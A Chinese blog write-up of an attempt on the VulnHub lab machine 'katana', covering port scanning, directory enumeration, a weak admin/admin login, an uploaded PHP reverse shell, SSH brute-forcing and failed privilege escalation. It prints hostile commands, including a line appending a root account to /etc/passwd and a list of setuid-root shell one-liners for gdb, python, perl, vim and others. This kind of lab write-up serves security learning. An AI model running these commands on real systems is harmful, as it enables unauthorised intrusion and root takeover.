实战打靶集锦-022-katana(一次失败的打靶)

文章详细记录了一次渗透测试过程,包括主机发现、端口扫描、服务枚举和探查,尝试了FTP、Apache、Samba等服务的漏洞检测,以及提权尝试,如枚举系统信息、破解passwd文件等,最终未能成功提权,但提供了有价值的漏洞利用方法。
摘要由CSDN通过智能技术生成


靶机地址:https://download.vulnhub.com/katana/katana.zip

前言

本文打靶历尽千辛万苦,最后提权失败,记录一下,惭愧之至。

1. 主机发现

目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
扫描结果不对,没有靶机的IP,修改一下靶机的虚拟机配置,再次扫描。
在这里插入图片描述
顺利得到靶机的IP地址。

2. 端口扫描

$ sudo nmap -p- 192.168.232.135 

在这里插入图片描述
开的端口还真是不少,再做一下服务枚举。

3. 服务枚举

$ sudo nmap -p21,22,80,139,445,7080,8088,8715 -A -sT -sV 192.168.232.135

在这里插入图片描述

4. 服务探查

4.1探查FTP服务

在这里插入图片描述
试了一下,匿名用户无法登录,看看这个版本的vsftpd是否有漏洞啥的。
在这里插入图片描述
这次死心了,列表里面有3.0.3版本的漏洞,但是只有一个dos的漏洞,没啥用,跳过。

4.2探查apache服务

先通搜索一下searchsploit看看。
在这里插入图片描述
真正值得关注的只有框出来的两个,第一个是针对Windows的,可以放弃,第二个版本不匹配。看看第二个的exp脚本,看看是不是这里的版本描述有出入。

在这里插入图片描述
根据CVE漏洞信息,只有这个版本会受到影响,还是直接通过浏览器看看吧。
在这里插入图片描述
就是一个简单的静态图片,没有什么特别的,还是枚举一下目录。

$ dirb http://192.168.232.135/

在这里插入图片描述
然后用dirsearch扫描一下。

$ dirsearch -u http://192.168.232.135/

在这里插入图片描述
额,看来各有优缺点啊,原来的ebook目录貌似没有扫描出来,手工试试。
在这里插入图片描述
确实是个ebook的页面,右下角还有个login的入口,深入扫描一下这个目录。

$ dirsearch -u http://192.168.232.135/ebook/

在这里插入图片描述
东西还不少,看来这个页面有货,我奇怪的是dirb报错了都能扫出来,为什么dirsearch扫不出来。继续再这个目录下折腾。
在这里插入图片描述
有意思的是在admin.php页面,竟然可以通过弱密码(admin/admin)直接登录进去,登录后的页面如下图。
在这里插入图片描述
有个添加新书和Edit的编辑图书的入口,这个有意思,看看能不能通过这里注入一把。下图是添加图书的页面。
在这里插入图片描述
先构建一个php格式的反弹she’ll脚本,内容如下。
在这里插入图片描述
如果添加图书信息页面没有做格式校验的话,应该可以直接上传了,这里试一下。
在这里插入图片描述
嗯,好现象,至少添加文件的时候,没有对图片格式进行校验,接着提交一下看看。
在这里插入图片描述
嗯,报了个错,不过貌似不是因为我的php脚本原因,打开一个已有的,照葫芦画瓢试试看。
在这里插入图片描述
再次提交,还是报同样的错误,直接将附件换成图片,试了一下还是同样的错误,不管了,直接Edit一个已有的试试看。
在这里插入图片描述
上图中,发现点击Change按钮没法提交,会报404错误,但是点击Confirm是可以提交的。接下来,打开监听窗口,再提交一把,确实没有反弹成功,继续往下看也没有什么太多发现。不过我们在/ebook/database/目录下找到一个readme.txt文件,里面的内容有些意思,涉及到一个叫nghi的用户。
在这里插入图片描述

4.3爆破nghi用户

我们尝试用这个用户登录一下ssh试试看。
在这里插入图片描述
Hydra爆破一下试试看。

$ hydra -l nghi -P ../../rockyou.txt 192.168.232.135 ssh

在这里插入图片描述
爆破了十几分钟没有结果,暂时放弃。

4.4探查samba服务

接下来探查一下samba服务,先用searchsploit搜索一把。

$ searchsploit samba | grep 4

在这里插入图片描述
没有匹配的EXP。网上查了一下,貌似在Metasploit上有该模块对应的后门攻击,先尝试手工连接一下试试看。

$ smbclient -L //192.168.232.135 -U root

在这里插入图片描述
可以看到共享名之类的,但是苦于没有账号密码,进不去,直接启动Metasploit。

$ msfconsole 
msf6 > use auxiliary/admin/smb/samba_symlink_traversal
msf6 auxiliary(admin/smb/samba_symlink_traversal) > show options

在这里插入图片描述
基本上可以死心了,我们这里没有可写的共享目录。

4.5探查LiteSpeed服务

在这里插入图片描述
也没有跟我们枚举出来的服务匹配的内容,浏览器访问一下7080端口看看。
在这里插入图片描述
嗯,是https的,页面没啥内容,标题显示为Kanata X,爆破一下目录看看。
在这里插入图片描述
内容还挺多的,不过貌似没有多少有用的内容,还是逐个过一下,没有什么有价值的内容。不过从docs页面来看,这里用的是OpenLiteSpeed服务,如下图。
在这里插入图片描述
先search一下EXP。
在这里插入图片描述
确实有些漏洞,不过主要还是下面的两个命令注入,还需要获得授权,暂时没法突破。再来看看8088端口。
在这里插入图片描述
貌似跟80端口的内容是一样的,枚举一下目录。
在这里插入图片描述
没发现特别有价值的内容,再用dirsearch扫描一下看看。
在这里插入图片描述
我们发现了跟upload有关的页面,可能通过这里上传文件来构建反弹shell,我们先打开看一下。
在这里插入图片描述
我们先建立监听,然后上传前面的php试试看。
在这里插入图片描述
感觉传了个寂寞,反弹也失败了,先上传一个其它的文件试试。
在这里插入图片描述
感觉都差不多,但是我坚信文件上传成功了,因为我们上传的文件都从一个/tmp/xxx目录移到了/opt/manager/html/下面,但是我通过各种方式都没有找到上传的文件,暂时放弃。

4.6探查nginx

再看看8715端口吧。
在这里插入图片描述
输入用户名密码(admin/admin)后,又是这个页面。直接带鉴权扫描一下。

$ dirsearch -u http://192.168.232.135:8715 -H "Authorization: Basic YWRtaW46YWRtaW4=" =H "Cookie: PHPSESSID=galcjf691csligjc4nk9r3mui6"

在这里插入图片描述
啥都没有。到目前为止一无所获,感觉就要放弃了。

4.7任务复盘

前面最然一直没有找到上传后的文件在哪里,但是应该上传成功了,并且在主机的/opt/manager/html/下面,所以应该是在某个http/https端口上,只能把前面扫描出来的80、7080、8088、8715都试一试了。先建立监听,然后逐个测试下面的地址。
http://192.168.232.135:80/katana_revers.php
https://192.168.232.135:7080/katana_revers.php
http://192.168.232.135:8088/katana_revers.php
http://192.168.232.135:8715/katana_revers.php
结果在8715端口上要输入密码,直接用admin/admin,前面探查nginx的时候已经使用过这个密码,结果还真给试出来了,在8715端口上访问的时候,反弹成功了。
在这里插入图片描述
试了一下,各种命令都OK,妥妥的。
在这里插入图片描述

5.提权

5.1枚举系统信息

$ uname -a
$ cat /etc/*-release

在这里插入图片描述
内核信息、系统版本都得到了,后面可能需要通过内核提权。

5.2探查passwd文件

$ cat /etc/passwd

在这里插入图片描述
尝试写入一个新用户。

$ openssl passwd test123

在这里插入图片描述

$ echo "testusr:$1$Otnrqc9q$z8N77ZxZkNeJUO5MfaHrT1:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
有写保护,写入用户失败。

5.3枚举定时任务

$ cat /etc/crontab

在这里插入图片描述

5.4枚举可执行文件

$ sudo –l
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
看上去没有太特别的可执行文件。

5.5使用linpeas

$ sh linpeas.sh

从运行结果来看,sudo的版本应该是有些风险。

在这里插入图片描述
通过searchsploit搜素一下试试看。

$ searchsploit sudo 1.8 

在这里插入图片描述
上图中的两个EXP是有可能被利用的,直接上手试试,先看第一个。
在这里插入图片描述
看上去比较容易,直接上传到目标机器的/tmp目录下试试看。
在这里插入图片描述
竟然失败了,当前用户www-data不能在机器上运行sudo,再是是第二个看看。
在这里插入图片描述
估计这个EXP也够呛,因为貌似也需要sudo -l指令,传上去试试看。
在这里插入图片描述
也失败,继续看linpeas的其它输出。
在这里插入图片描述
上图这个也是可以利用的CVE漏洞,先把exp弄下来看看。
在这里插入图片描述
不是很复杂,直接按照EXP的指示编译一下(现在kali上编译再上传,不行再靶机编译,再不行找一个类似的机器编译,大概率得用最后一招)。
先在kali上。

$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root

然后上传到靶机,执行一下看看。
在这里插入图片描述
宣告失败,直接上传靶机看是否能够编译。
在这里插入图片描述
靶机上没有gcc,只能用最后一种方案了。
在这里插入图片描述
还是失败,换了几个版本都是同样的问题。
在这里插入图片描述
暂时放弃,继续往下看,加下来的两个CVE都是之前sudo的漏洞,直接跳过,看一下CVE-2021-22555。
在这里插入图片描述
这是Netfilter提权漏洞,下载EXP试一下。
在这里插入图片描述
嗯,这个漏洞只对ubuntu系统有效,跳过,继续往下,看一下下面这个漏洞。
在这里插入图片描述
同样的方法,弄下来编译试试。
在这里插入图片描述
又失败了,继续往下看,感觉这个提权要失败了。不过有下面一行内容,感觉有些可疑,但是完全莫不着头绪。
在这里插入图片描述
直接搜索一下试试看。
在这里插入图片描述
额,貌似是个可以提权的东西,进去看看。

在这里插入图片描述
感谢这位大神,感觉跟目标靶机的linpeas输出完全一致,不过没看懂怎么用,继续搜索,找到一个比较有意思的帖子,貌似可以借鉴(https://juejin.cn/post/7100561783374479373)。这篇文章写的太好了,直接截图引用一下里面的内容。
在这里插入图片描述
这个博主也是大公无私的,把所有的利用都罗列出来了。

# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

#node的利用方法
./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

#perl的利用方法
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

#php的利用方法
./php -r "posix_setuid(0); system('/bin/sh');"

#pythond的利用方法
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

#ruby的利用方法
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

#rview的利用方法
./rview -c ':lua os.execute("reset; exec sh")'

#rvim的利用方法
./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#view的利用方法
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#vim的利用方法
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#vimdiff的利用方法
./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

我们直接利用一下这里面的python的Capabilities位提权脚本,将这里的python换成我们的python路径。

$ /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述
额,竟然没反应了,感觉靶机挂了,验证一下。
在这里插入图片描述
额,没有挂掉,重新断开再连接试一下,还是同样的现象。直接重启一下靶机,再进来试试,还是老样子,这次打靶宣告提权失败。

  • 21
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值